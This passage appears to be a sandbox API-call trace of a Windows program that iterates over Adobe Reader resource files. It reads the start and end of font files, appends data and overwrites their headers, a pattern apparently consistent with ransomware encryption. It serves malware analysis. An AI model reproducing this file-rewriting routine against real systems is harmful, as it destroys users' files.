lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.496] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.496] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.496] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.497] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.497] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.497] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4")) returned 0x20 [0044.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2", lpFilePart=0x2a0f690*="Adobe-Japan1-2") returned 0x45 [0044.497] GetLastError () returned 0x5 [0044.497] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.497] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.497] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.497] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.497] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.498] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2")) returned 0x20 [0044.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2", lpFilePart=0x2a0f690*="Adobe-Japan1-UCS2") returned 0x48 [0044.498] GetLastError () returned 0x5 [0044.498] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.498] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.498] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.498] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.498] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.498] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2")) returned 0x20 [0044.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H", lpFilePart=0x2a0f690*="B5pc-H") returned 0x3d [0044.499] GetLastError () returned 0x5 [0044.499] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.499] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.499] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.499] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.499] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.499] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.499] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h")) returned 0x20 [0044.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V", lpFilePart=0x2a0f690*="ETenms-B5-V") returned 0x42 [0044.500] GetLastError () returned 0x5 [0044.500] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.500] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.500] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.500] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.500] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.500] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.500] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v")) returned 0x20 [0044.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2", lpFilePart=0x2a0f690*="GBK-EUC-UCS2") returned 0x43 [0044.500] GetLastError () returned 0x5 [0044.500] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.501] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.501] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.501] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.501] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.501] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.501] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2")) returned 0x20 [0044.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H", lpFilePart=0x2a0f690*="GBT-EUC-H") returned 0x40 [0044.501] GetLastError () returned 0x5 [0044.501] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.501] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.501] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.501] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.502] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.502] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.502] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h")) returned 0x20 [0044.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V", lpFilePart=0x2a0f690*="HKm314-B5-V") returned 0x42 [0044.502] GetLastError () returned 0x5 [0044.502] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.502] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.502] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.502] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.502] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.503] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.503] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-v")) returned 0x20 [0044.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H", lpFilePart=0x2a0f690*="KSCms-UHC-HW-H") returned 0x45 [0044.503] GetLastError () returned 0x5 [0044.503] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.503] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.503] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.503] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.503] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.503] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.503] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h")) returned 0x20 [0044.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.504] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5", lpFilePart=0x2a0f690*="UCS2-ETen-B5") returned 0x43 [0044.504] GetLastError () returned 0x5 [0044.504] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.504] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.504] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.504] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.504] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.504] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.504] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5")) returned 0x20 [0044.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.505] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V", lpFilePart=0x2a0f690*="UniGB-UCS2-V") returned 0x43 [0044.505] GetLastError () returned 0x5 [0044.505] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.505] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.505] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.505] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.505] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.505] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.505] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-v")) returned 0x20 [0044.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V", lpFilePart=0x2a0f690*="UniJIS2004-UTF16-V") returned 0x49 [0044.506] GetLastError () returned 0x5 [0044.506] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.506] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.506] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.506] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.506] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.506] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.506] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-v")) returned 0x20 [0044.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.507] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.507] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x10e4c [0044.507] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.507] ReleaseMutex (hMutex=0x128) returned 1 [0044.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Bold.otf", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0044.507] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.509] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xfe4c [0044.509] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.510] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xfe4c [0044.510] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.510] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.510] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.510] CloseHandle (hObject=0x1b0) returned 1 [0044.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-boldoblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x90dc [0044.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.511] ReleaseMutex (hMutex=0x128) returned 1 [0044.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0044.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-BoldOblique.otf", cchWideChar=26, 